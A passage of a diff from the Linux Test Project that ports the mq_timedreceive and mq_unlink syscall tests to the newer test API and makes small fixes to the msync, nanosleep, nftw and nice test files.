- *   EBADF	      v (not a valid descriptor)
- *   EINTR	      v (interrupted by a signal)
- *   EINVAL	     v (invalid timeout value)
- *   ETIMEDOUT	  v (not block and timeout occured)
- *   EMSGSIZE	   v ('msg_len' is less than the message size of the queue)
- *   EBADMSG	    can't check because this error never occur
- */
-static struct test_case tcase[] = {
-	{			// case00
-	 .ttype = NORMAL,
-	 .len = 0,		// also success when size equals zero
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case01
-	 .ttype = NORMAL,
-	 .len = 1,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case02
-	 .ttype = NORMAL,
-	 .len = MAX_MSGSIZE,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case03
-	 .ttype = NORMAL,
-	 .len = 1,
-	 .prio = 32767,		// max priority
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case04
-	 .ttype = INVALID_MSG_LEN,
-	 .len = 0,
-	 .ret = -1,
-	 .err = EMSGSIZE,
-	 },
-	{			// case05
-	 .ttype = FD_NONE,
-	 .len = 0,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case06
-	 .ttype = FD_NOT_EXIST,
-	 .len = 0,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case07
-	 .ttype = FD_FILE,
-	 .len = 0,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case08
-	 .ttype = EMPTY_QUEUE,
-	 .non_block = 1,
-	 .len = 16,
-	 .ret = -1,
-	 .err = EAGAIN,
-	 },
-	{			// case09
-	 .ttype = EMPTY_QUEUE,
-	 .len = 16,
-	 .sec = -1,
-	 .nsec = 0,
-	 .ret = -1,
-	 .err = EINVAL,
-	 },
-	{			// case10
-	 .ttype = EMPTY_QUEUE,
-	 .len = 16,
-	 .sec = 0,
-	 .nsec = -1,
-	 .ret = -1,
-	 .err = EINVAL,
-	 },
-	{			// case11
-	 .ttype = EMPTY_QUEUE,
-	 .len = 16,
-	 .sec = 0,
-	 .nsec = 1000000000,
-	 .ret = -1,
-	 .err = EINVAL,
-	 },
-	{			// case12
-	 .ttype = EMPTY_QUEUE,
-	 .len = 16,
-	 .sec = 0,
-	 .nsec = 999999999,
-	 .ret = -1,
-	 .err = ETIMEDOUT,
-	 },
-	{			// case13
-	 .ttype = SEND_SIGINT,
-	 .len = 16,
-	 .sec = 3,
-	 .nsec = 0,
-	 .ret = -1,
-	 .err = EINTR,
-	 },
+#define QUEUE_NAME	"/test_mqueue"
+
+static void create_queue(void);
+static void create_queue_nonblock(void);
+static void create_queue_sig(void);
+static void create_queue_timeout(void);
+static void open_fd(void);
+static void unlink_queue(void);
+static void unlink_queue_sig(void);
+
+static const struct test_case tcase[] = {
+	{
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+		.send = 1,
+		.len = 0,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+		.send = 1,
+		.len = 1,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+		.send = 1,
+		.len = MAX_MSGSIZE,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+		.send = 1,
+		.len = 1,
+		.prio = 32767,	/* max priority */
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+		.invalid_msg = 1,
+		.send = 1,
+		.len = 0,
+		.ret = -1,
+		.err = EMSGSIZE,
+	},
+	{
+		.len = 0,
+		.fd = -1,
+		.ret = -1,
+		.err = EBADF,
+	},
+	{
+		.len = 0,
+		.fd = INT_MAX - 1,
+		.ret = -1,
+		.err = EBADF,
+	},
+	{
+		.len = 0,
+		.ret = -1,
+		.err = EBADF,
+		.setup = open_fd,
+	},
+	{
+		.len = 16,
+		.ret = -1,
+		.err = EAGAIN,
+		.setup = create_queue_nonblock,
+		.cleanup = unlink_queue,
+	},
+	{
+		.len = 16,
+		.rq = &(struct timespec) {.tv_sec = -1, .tv_nsec = 0},
+		.ret = -1,
+		.err = EINVAL,
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+	},
+	{
+		.len = 16,
+		.rq = &(struct timespec) {.tv_sec = 0, .tv_nsec = -1},
+		.ret = -1,
+		.err = EINVAL,
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+	},
+	{
+		.len = 16,
+		.rq = &(struct timespec) {.tv_sec = 0, .tv_nsec = 1000000000},
+		.ret = -1,
+		.err = EINVAL,
+		.setup = create_queue,
+		.cleanup = unlink_queue,
+	},
+	{
+		.len = 16,
+		.ret = -1,
+		.rq = &timeout_ts,
+		.err = ETIMEDOUT,
+		.setup = create_queue_timeout,
+		.cleanup = unlink_queue,
+	},
+	{
+		.len = 16,
+		.rq = &eintr_ts,
+		.ret = -1,
+		.err = EINTR,
+		.setup = create_queue_sig,
+		.cleanup = unlink_queue_sig,
+	},
 };
 
-#define MEM_LENGTH	      (4 * 1024 * 1024)
-/*
- * do_test()
- *
- *   Input  : TestCase Data
- *   Return : RESULT_OK(0), RESULT_NG(1)
- *
- */
-
-static int do_test(struct test_case *tc)
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
-	int sys_ret;
-	int sys_errno;
-	int result = RESULT_OK;
-	int oflag;
-	int i, rc, cmp_ok = 1, fd = -1;
-	char smsg[MAX_MSGSIZE], rmsg[MAX_MSGSIZE];
-	struct timespec ts = { 0, 0 };
-	pid_t pid = 0;
-	unsigned prio;
-	size_t msg_len;
+}
 
-	/*
-	 * When test ended with SIGTERM etc, mq discriptor is left remains.
-	 * So we delete it first.
-	 */
-	TEST(mq_unlink(QUEUE_NAME));
+static void setup(void)
+{
+	act.sa_handler = sighandler;
+	sigaction(SIGINT, &act, NULL);
 
-	switch (tc->ttype) {
-	case FD_NOT_EXIST:
-		fd = INT_MAX - 1;
-		/* fallthrough */
-	case FD_NONE:
-		break;
-	case FD_FILE:
-		TEST(fd = open("/", O_RDONLY));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL | TTERRNO, "can't open \"/\".");
-			result = 1;
-			goto EXIT;
-		}
-		break;
-	default:
-		/*
-		 * Open message queue
-		 */
-		oflag = O_CREAT | O_EXCL | O_RDWR;
-		if (tc->non_block)
-			oflag |= O_NONBLOCK;
+	fd_root = SAFE_OPEN("/", O_RDONLY);
+}
 
-		TEST(fd = mq_open(QUEUE_NAME, oflag, S_IRWXU, NULL));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL | TTERRNO, "mq_open failed");
-			result = 1;
-			goto EXIT;
-		}
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-		if (tc->ttype == SEND_SIGINT) {
-			pid = create_sig_proc(200000, SIGINT, UINT_MAX);
-			if (pid < 0) {
-				result = 1;
-				goto EXIT;
-			}
-		}
-		break;
-	}
+	if (fd_root > 0)
+		SAFE_CLOSE(fd_root);
+}
 
-	/*
-	 * Prepare send message
-	 */
-	for (i = 0; i < tc->len; i++)
+static void create_queue(void)
+{
+	fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
+}
+
+static void create_queue_nonblock(void)
+{
+	fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR | O_NONBLOCK,
+		S_IRWXU, NULL);
+}
+
+static void create_queue_sig(void)
+{
+	clock_gettime(CLOCK_REALTIME, &eintr_ts);
+	eintr_ts.tv_sec += 3;
+
+	create_queue();
+	pid = create_sig_proc(SIGINT, 40, 200000);
+}
+
+static void create_queue_timeout(void)
+{
+	clock_gettime(CLOCK_REALTIME, &timeout_ts);
+	timeout_ts.tv_nsec += 50000000;
+	timeout_ts.tv_sec += timeout_ts.tv_nsec / 1000000000;
+	timeout_ts.tv_nsec %= 1000000000;
+
+	create_queue();
+}
+
+static void open_fd(void)
+{
+	fd = fd_root;
+}
+
+static void send_msg(int fd, int len, int prio)
+{
+	char smsg[MAX_MSGSIZE];
+	int i;
+
+	for (i = 0; i < len; i++)
 		smsg[i] = i;
 
-	/*
-	 * Send message
-	 */
-	switch (tc->ttype) {
-	case EMPTY_QUEUE:
-	case SEND_SIGINT:
-	case FD_NONE:
-	case FD_NOT_EXIST:
-	case FD_FILE:
-		break;
-	default:
-		TEST(rc = mq_timedsend(fd, smsg, tc->len, tc->prio, &ts));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL | TTERRNO, "mq_timedsend failed");
-			result = 1;
-			goto EXIT;
-		}
-		break;
-	}
-
-	/*
-	 * Set the message length and timeout value
-	 */
-	msg_len = MAX_MSGSIZE;
-	if (tc->ttype == INVALID_MSG_LEN)
-		msg_len -= 1;
-	ts.tv_sec = tc->sec;
-	ts.tv_nsec = tc->nsec;
-	if (tc->sec >= 0 || tc->nsec != 0)
-		ts.tv_sec += time(NULL);
-
-	/*
-	 * Execute system call
-	 */
-	errno = 0;
-	TEST(sys_ret = mq_timedreceive(fd, rmsg, msg_len, &prio, &ts));
-	sys_errno = errno;
-	if (sys_ret < 0)
-		goto TEST_END;
-
-	/*
-	 * Compare received message
-	 */
-	if (sys_ret != tc->len || tc->prio != prio)
-		cmp_ok = 0;
-	else {
-		for (i = 0; i < tc->len; i++)
-			if (rmsg[i] != smsg[i]) {
-				cmp_ok = 0;
-				break;
-			}
-	}
-
-TEST_END:
-	/*
-	 * Check results
-	 */
-	result |= (sys_errno != tc->err) || !cmp_ok;
-	PRINT_RESULT_CMP(0, tc->ret == 0 ? tc->len : tc->ret, tc->err, sys_ret,
-			 sys_errno, cmp_ok);
-
-EXIT:
-	if (fd >= 0) {
-		TEST(close(fd));
-		TEST(mq_unlink(QUEUE_NAME));
-	}
-	if (pid > 0) {
-		int st;
-		TEST(kill(pid, SIGTERM));
-		TEST(wait(&st));
-	}
-	return result;
+	if (mq_timedsend(fd, smsg, len, prio,
+		&((struct timespec){0})) < 0)
+		tst_brk(TBROK | TERRNO, "mq_timedsend failed");
 }
 
-/*
- * main()
- */
-
-int main(int ac, char **av)
+static void unlink_queue(void)
 {
-	int result = RESULT_OK;
-	int i;
-	int lc;
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			/*
-			 * Execute test
-			 */
-			for (i = 0; i < (int)ARRAY_SIZE(tcase); i++) {
-				int ret;
-				tst_resm(TINFO, "(case%02d) START", i);
-				ret = do_test(&tcase[i]);
-				tst_resm(TINFO, "(case%02d) END => %s",
-					 i, (ret == 0) ? "OK" : "NG");
-				result |= ret;
-			}
-
-			/*
-			 * Check results
-			 */
-			switch (result) {
-			case RESULT_OK:
-				tst_resm(TPASS,
-					 "mq_timedreceive call succeeded");
-				break;
-
-			default:
-				tst_brkm(TFAIL | TTERRNO, cleanup,
-					 "mq_timedreceive failed");
-			}
-		}
-	}
-	cleanup();
-	tst_exit();
+	mq_unlink(QUEUE_NAME);
 }
+
+static void unlink_queue_sig(void)
+{
+	SAFE_KILL(pid, SIGTERM);
+	SAFE_WAIT(NULL);
+
+	unlink_queue();
+}
+
+static void do_test(unsigned int i)
+{
+	const struct test_case *tc = &tcase[i];
+	char rmsg[MAX_MSGSIZE];
+	unsigned prio;
+	size_t msg_len = MAX_MSGSIZE;
+
+	/*
+	 * When test ended with SIGTERM etc, mq descriptor is left remains.
+	 * So we delete it first.
+	 */
+	mq_unlink(QUEUE_NAME);
+
+	if (tc->fd)
+		fd = tc->fd;
+
+	if (tc->setup)
+		tc->setup();
+
+	if (tc->send)
+		send_msg(fd, tc->len, tc->prio);
+
+	if (tc->invalid_msg)
+		msg_len -= 1;
+
+	TEST(mq_timedreceive(fd, rmsg, msg_len, &prio, tc->rq));
+
+	if (tc->cleanup)
+		tc->cleanup();
+
+	if (TEST_RETURN < 0) {
+		if (TEST_ERRNO != tc->err) {
+			tst_res(TFAIL | TTERRNO,
+				"mq_timedreceive failed unexpectedly, expected %s",
+				tst_strerrno(tc->err));
+		} else {
+			tst_res(TPASS | TTERRNO, "mq_timedreceive failed expectedly");
+		}
+		return;
+	}
+
+
+	if (TEST_RETURN != tc->len) {
+		tst_res(TFAIL | TTERRNO, "mq_timedreceive wrong msg_len returned %ld, expected %d",
+			TEST_RETURN, tc->len);
+		return;
+	}
+
+	if (tc->prio != prio) {
+		tst_res(TFAIL | TTERRNO, "mq_timedreceive wrong prio returned %d, expected %d",
+			prio, tc->prio);
+		return;
+	}
+
+	tst_res(TPASS, "mq_timedreceive returned %ld prio %u", TEST_RETURN, prio);
+}
+
+static struct tst_test test = {
+	.tid = "mq_timedreceive01",
+	.tcnt = ARRAY_SIZE(tcase),
+	.test = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c b/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
index 53190d7..77198ce 100644
--- a/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
+++ b/testcases/kernel/syscalls/mq_timedsend/mq_timedsend01.c
@@ -307,7 +307,7 @@
 	unsigned prio;
 
 	/*
-	 * When test ended with SIGTERM etc, mq discriptor is left remains.
+	 * When test ended with SIGTERM etc, mq descriptor is left remains.
 	 * So we delete it first.
 	 */
 	TEST(mq_unlink(QUEUE_NAME));
diff --git a/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c b/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
index 9ac0868..40f6db2 100644
--- a/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
+++ b/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c
@@ -1,291 +1,132 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd		*/
-/*	  Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,	      */
-/*		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>, 	      */
-/*		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>	      */
-/*								  	      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-/******************************************************************************/
-/*									    */
-/* File:	mq_ulink01.c						  */
-/*									    */
-/* Description: This tests the mq_ulink() syscall			     */
-/*									      */
-/* 									      */
-/*									      */
-/*									      */
-/*									      */
-/*									    */
-/* Usage:  <for command-line>						 */
-/* mq_ulink01 [-c n] [-e][-i n] [-I x] [-p x] [-t]			    */
-/*      where,  -c n : Run n copies concurrently.			     */
-/*	      -e   : Turn on errno logging.				 */
-/*	      -i n : Execute test n times.				  */
-/*	      -I x : Execute test for x seconds.			    */
-/*	      -P x : Pause for x seconds between iterations.		*/
-/*	      -t   : Turn on syscall timing.				*/
-/*									    */
-/* Total Tests: 1							     */
-/*									    */
-/* Test Name:   mq_ulink01					     */
-/* History:     Porting from Crackerjack to LTP is done by		    */
-/*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
-/******************************************************************************/
+/*
+ * Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd
+ *          Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,
+ *		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,
+ *		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
 
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/uio.h>
-#include <getopt.h>
-#include <stdlib.h>
 #include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
+#include <pwd.h>
 #include <mqueue.h>
-#include <limits.h>
 
-#include "../utils/include_j_h.h"
-#include "../utils/common_j_h.c"
+#include "tst_test.h"
+#include "tst_safe_posix_ipc.h"
 
-#include "test.h"
-#include "linux_syscall_numbers.h"
+#define QUEUE_NAME	"/test_mqueue"
 
-char *TCID = "mq_ulink01";
-int testno;
-int TST_TOTAL = 1;
+static uid_t euid;
+static struct passwd *pw;
 
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-}
-
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
-void setup(void)
-{
-	tst_require_root();
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-/*
- * Macros
- */
-#define SYSCALL_NAME    "mq_ulink"
-
-enum test_type {
-	NORMAL,
-};
-
-/*
- * Data Structure
- */
 struct test_case {
-	char *user;
+	int as_nobody;
 	char *qname;
-	int ttype;
 	int ret;
 	int err;
 };
 
-/* Test cases
-*
-*   test status of errors on man page
-*
-*   EACCES	     v (permission is denied)
-*   ENAMETOOLONG       v (too long name length)
-*   ENOENT	     v (named message queue does not exist)
-*/
-
 static struct test_case tcase[] = {
-	{			// case00
-	 .ttype = NORMAL,
-	 .qname = QUEUE_NAME,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case01
-	 .ttype = NORMAL,
-	 .user = "nobody",
-	 .qname = QUEUE_NAME,
-	 .ret = -1,
-	 .err = EACCES,
-	 },
-	{			// case02
-	 .ttype = NORMAL,
-	 //  0    1       2       3
-	 //  0123456789012345678901234567890123456789
-	 .qname = "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaa",
-	 .ret = -1,
-	 .err = ENOENT,
-	 },
-	{			// case03
-	 .ttype = NORMAL,
-	 //  0    1       2       3
-	 //  0123456789012345678901234567890123456789
-	 .qname = "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-	 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaa",
-	 .ret = -1,
-	 .err = ENAMETOOLONG,
-	 },
+	{
+		.qname = QUEUE_NAME,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		.as_nobody = 1,
+		.qname = QUEUE_NAME,
+		.ret = -1,
+		.err = EACCES,
+	},
+	{
+		.qname = "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaa",
+		.ret = -1,
+		.err = ENOENT,
+	},
+	{
+		.qname = "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+			"aaaaaaaaaaaaaaaa",
+		.ret = -1,
+		.err = ENAMETOOLONG,
+	},
 };
 
-/*
- * do_test()
- *
- *   Input  : TestCase Data
- *   Return : RESULT_OK(0), RESULT_NG(1)
- *
- */
-
-static int do_test(struct test_case *tc)
+void setup(void)
 {
-	int sys_ret;
-	int sys_errno;
-	int result = RESULT_OK;
-	int rc, fd1 = -1, fd2 = -1;
-	uid_t old_uid = -1;
+	euid = geteuid();
+	pw = SAFE_GETPWNAM("nobody");
+}
+
+static void do_test(unsigned int i)
+{
+	struct test_case *tc = &tcase[i];
+	mqd_t fd;
+
+	tst_res(TINFO, "queue name %s", tc->qname);
 
 	/*
-	 * When test ended with SIGTERM etc, mq discriptor is left remains.
+	 * When test ended with SIGTERM etc, mq descriptor is left remains.
 	 * So we delete it first.
 	 */
-	TEST(mq_unlink(QUEUE_NAME));
+	mq_unlink(QUEUE_NAME);
 
-	/*
-	 * Open message queue
-	 */
-	rc = mq_open(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
-	if (rc == -1) {
-		tst_resm(TFAIL | TTERRNO, "mq_open failed");
-		result = 1;
+	/* prepare */
+	fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
+
+	if (tc->as_nobody && seteuid(pw->pw_uid)) {
+		tst_res(TBROK | TERRNO, "seteuid failed");
 		goto EXIT;
 	}
-	fd1 = rc;
 
-	/*
-	 * Change effective user id
-	 */
-	if (tc->user != NULL) {
-		TEST(rc = setup_euid(tc->user, &old_uid));
-		if (TEST_RETURN < 0) {
-			result = 1;
-			goto EXIT;
-		}
+	/* test */
+	TEST(mq_unlink(tc->qname));
+	if (TEST_ERRNO != tc->err || TEST_RETURN != tc->ret) {
+		tst_res(TFAIL | TTERRNO, "mq_unlink returned %ld, expected %d,"
+			" expected errno %s (%d)", TEST_RETURN,
+			tc->ret, tst_strerrno(tc->err), tc->err);
+	} else {
+		tst_res(TPASS | TTERRNO, "mq_unlink returned %ld", TEST_RETURN);
 	}
 
-	/*
-	 * Execute system call
-	 */
-	errno = 0;
-	TEST(sys_ret = mq_unlink(tc->qname));
-	sys_errno = errno;
-	if (sys_ret >= 0)
-		fd2 = sys_ret;
-
-	/*
-	 * Check results
-	 */
-	result |= (sys_errno != tc->err);
-	PRINT_RESULT(sys_ret >= 0, tc->ret, tc->err, sys_ret, sys_errno);
-
 EXIT:
-	if (tc->user != NULL && old_uid != -1)
-		cleanup_euid(old_uid);
+	/* cleanup */
+	if (tc->as_nobody && seteuid(euid) == -1)
+		tst_res(TWARN | TERRNO, "seteuid back to %d failed", euid);
 
-	if (fd1 >= 0)
-		close(fd1);
-	if (fd2 >= 0)
-		close(fd2);
+	if (fd > 0 && close(fd))
+		tst_res(TWARN | TERRNO, "close(fd) failed");
+
 	mq_unlink(QUEUE_NAME);
-	return 0;
 }
 
-int main(int ac, char **av)
-{
-	int i;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			int ret;
-
-			ret = 0;
-
-			for (i = 0; ret == 0 &&
-			     i < (int)ARRAY_SIZE(tcase); i++) {
-				ret = do_test(&tcase[i]);
-			}
-
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.tid = "mq_unlink01",
+	.tcnt = ARRAY_SIZE(tcase),
+	.test = do_test,
+	.needs_root = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/msync/msync02.c b/testcases/kernel/syscalls/msync/msync02.c
index e1076a9..243ceb0 100644
--- a/testcases/kernel/syscalls/msync/msync02.c
+++ b/testcases/kernel/syscalls/msync/msync02.c
@@ -87,11 +87,10 @@
 
 int main(int ac, char **av)
 {
+	tst_parse_opts(ac, av, NULL, NULL);
 
 	setup();
 
-	tst_count = 0;
-
 	TEST(msync(addr, page_sz, MS_INVALIDATE));
 
 	if (TEST_RETURN == -1)
@@ -102,7 +101,6 @@
 		tst_resm(TPASS, "Functionality of msync successful");
 
 	cleanup();
-
 	tst_exit();
 }
 
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep02.c b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
index 2da8937..8ee22b4 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep02.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep02.c
@@ -30,7 +30,7 @@
 #include <fcntl.h>
 #include <signal.h>
 #include <time.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/time.h>
 #include <stdint.h>
 #include <inttypes.h>
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep03.c b/testcases/kernel/syscalls/nanosleep/nanosleep03.c
index 2c9af6e..291396b 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep03.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep03.c
@@ -30,7 +30,7 @@
 #include <unistd.h>
 #include <fcntl.h>
 #include <time.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/nanosleep/nanosleep04.c b/testcases/kernel/syscalls/nanosleep/nanosleep04.c
index 527ad14..f5108d0 100644
--- a/testcases/kernel/syscalls/nanosleep/nanosleep04.c
+++ b/testcases/kernel/syscalls/nanosleep/nanosleep04.c
@@ -29,7 +29,7 @@
 #include <errno.h>
 #include <unistd.h>
 #include <fcntl.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <time.h>
 
 #include "test.h"
diff --git a/testcases/kernel/syscalls/nftw/Makefile b/testcases/kernel/syscalls/nftw/Makefile
index 1707dad..9cb5a81 100644
--- a/testcases/kernel/syscalls/nftw/Makefile
+++ b/testcases/kernel/syscalls/nftw/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/nice/nice01.c b/testcases/kernel/syscalls/nice/nice01.c
index 29ab344..26aaa99 100644
--- a/testcases/kernel/syscalls/nice/nice01.c
+++ b/testcases/kernel/syscalls/nice/nice01.c
@@ -1,160 +1,72 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
